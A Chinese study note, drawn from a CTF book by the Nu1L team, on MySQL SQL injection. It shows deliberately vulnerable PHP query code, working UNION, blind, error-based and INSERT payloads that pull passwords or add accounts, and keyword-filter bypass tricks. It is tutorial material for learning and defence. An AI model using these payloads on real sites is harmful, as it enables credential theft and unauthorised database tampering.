来自于书《从0到1 CTFer的成长之路》Nu1L战队编著

0. 查表

URL编码 字符
%20 空格
%23 #
–%20 –空格
%27

1. 注入类型

1.1 数字型注入

1
mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id=".$_GET['id'])

访问链接 http://xxx.xxx.xxx.xxx/sql1.php?id=2

【尝试1】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=3-1 发现回显结果和之前一致,说明MySQL对 3-1 进行了计算

得到结论 数字型注入,表现为输入点没有被引号包裹,具体见代码 $_GET['id']

【注入1】http://xxx.xxx.xxx.xxx/sql1.php?id=1 union select user, pwd from wp_user

假设我们不知道数据库的信息(如表名,字段名等)

【注入2】http://xxx.xxx.xxx.xxx/sql1.php?id=1 union select group_concat(table_name) from information_schema.tables where table_schema=database()

  • table_name 是 information_schema库tables表的表名字段
  • table_schema 是数据库名字段
  • database() 函数返回当前数据库名称

【注入3】http://xxx.xxx.xxx.xxx/sql1.php?id=1 union select group_concat(column_name) from information_schema.columns where table_schema='wp_user'

  • 通过columns表及其columns_name字段,查询wp_user表的字段

1.2 字符型注入

1
mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id='".$_GET['id']."'")

【尝试1】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=3-1 发现回显为空,说明3-1 没有被计算,不是数字型

【尝试2】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=2a 发现有回显

  • 1='1' 当数字和字符串数据比较,字符串被强转为数字
  • 1='1a' 字符串1a被强转为1
  • 'a'=0 字符串a被强转为0

【尝试3】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=2'# ,即 WHERE id='2'#',利用 # 注释后面的引号

【尝试4】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=2'union select concat(user,0x7e,pwd) from wp_user limit 1,1#,即WHERE id='2'union select concat(user,0x7e,pwd) from wp_user limit 1,1#'

【尝试5】访问http://xxx.xxx.xxx.xxx/sql1.php?id=1'and'1,即 WHERE id='1'and'1',后一个字符串’1’被强制转换成True

  • 【布尔盲注】可以利用在第二个’1’的位置,输入别的不确定表达式,通过回显情况,判断第二个表达式的真假
  • 一位一位打表探测

【尝试6】访问http://xxx.xxx.xxx.xxx/sql1.php?id=1'or sleep(1)#,即 WHERE id='1'or sleep(1)#'

  • 如果执行SQL,可以明显关注到sleep的时间,而不是查询时延
  • 【时间盲注】利用IF条件函数、AND、OR的短路特性,和SQL的执行时间结果,来推断一些表达式是否为真

1.3 报错注入

有时为了方便开发者调试,网站会开启错误调试信息,这种情况可以利用 updatexml 函数

【尝试1】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=1'or updatexml(1, concat(0x7e,(select pwd from wp_user)),1)#,即WHERE id='id=1'or updatexml(1, concat(0x7e,(select pwd from wp_user)),1)#'

  • updatexml函数要求第二个参数应为合法的XPATH路径,否则在报错的同时会将传入的参数进行输出

2. 注入点

2.1 SELECT 注入点在select_expr

1
mysqli_query($conn, "SELECT {$_GET['title']}, content FROM wp_news")

【尝试1】时间盲注

【尝试2】AS别名,访问 http://xxx.xxx.xxx.xxx/sql1.php?id=(select pwd from wp_user) as title,即 SELECT (select pwd from wp_user) as title, content FROM wp_news

2.2 SELECT 注入点在table_reference

1
mysqli_query($conn, "SELECT title FROM {$_GET['title']}")

【尝试1】以别名的方法取出数据,访问 http://xxx.xxx.xxx.xxx/sql1.php?id=(select pwd AS title FROM wp_user)x,即 SELECT title FROM (select pwd AS title FROM wp_user)x

2.3 SELECT 注入点在WHERE和HAVNG后

1
mysqli_query($conn, "SELECT title FROM wp_news WHERE id = {$_GET['title']}")

先判断有无引号包裹,再闭合前面可能存在的引号

2.4 SELECT 注入点在GROUP BY或ORDER BY后

1
mysqli_query($conn, "SELECT title FROM wp_news GROUP BY {$_GET['title']}")

经过测试可以发现 title=id desc, (if(1, sleep(1), 1))会让页面延迟1秒

访问 http://xxx.xxx.xxx.xxx/sql1.php?title=id desc,(if(1,sleep(1),1)),即 SELECT title FROM wp_news GROUP BY id desc,(if(1,sleep(1),1))

2.5 SELECT 注入点在LIMIT后

不适用字符注入,LIMIT后只能是数字

  • 在语句没有ORDER BY时,可以使用UNION注入
  • 根据SELECT语法,使用PROCEDURE来尝试注入,只适合MySQL5.6前的版本
  • 基于时间注入

2.6 INSERT table_name注入

1
mysqli_query($conn, "INSERT INTO {$_GET['table']} VALUES(2,2,2,2)")

【尝试1】访问http://xxx.xxx.xxx.xxx/sql1.php?table=wp_user values(2,'newadmin','newpass')#,即INSERT INTO wp_user values(2,'newadmin','newpass')# VALUES(2,2,2,2)

2.7 INSERT VALUES注入

1
mysqli_query($conn, "INSERT INTO wp_user VALUES(1, 1, '{$_GET['value']}')")

【尝试1】先闭合单引号,然后另插入一条记录

访问 http://xxx.xxx.xxx.xxx/sql1.php?value=1'),(2,1,'aaa')#

INSERT INTO wp_user VALUES(1, 1, '1'),(2,1,'aaa')#')

【尝试2】利用回显字段

访问 http://xxx.xxx.xxx.xxx/sql1.php?value=1'),(2, 2, (SELCT pwd FROM wp_user LIMIT 1))#

即 ``INSERT INTO wp_user VALUES(1, 1, ‘1’),(2, 2, (SELCT pwd FROM wp_user LIMIT 1))#’)`

3 注入和防御

3.1 字符替换

【防御1】只过滤了空格

【绕过1】把空格替换成其他空白符 %0a %0b %0c %0d %09 %a0


【防御2】将SELECT替换为空

【绕过2】嵌套,SELECSELECTT,经过过滤后又成为了SELECT


【防御3】大小写匹配,MySQL中关键字是不区分大小写

【绕过3】大小写混写,sEleCT


【防御4】正则匹配\bselect\b

【绕过4】/*!50000select*/


【防御5】替换了但引号或双引号,但是忘记了反斜杠

【绕过5】SELECT * FROM wp_news WHERE id='可控1' AND title='可控2',构造绕过 SELECT * FROM wp_news WHERE id='a\' AND title = 'OR sleep(1)#' ,执行后发现控制点2已经逃逸引号,可以利用union注入获取更多敏感信息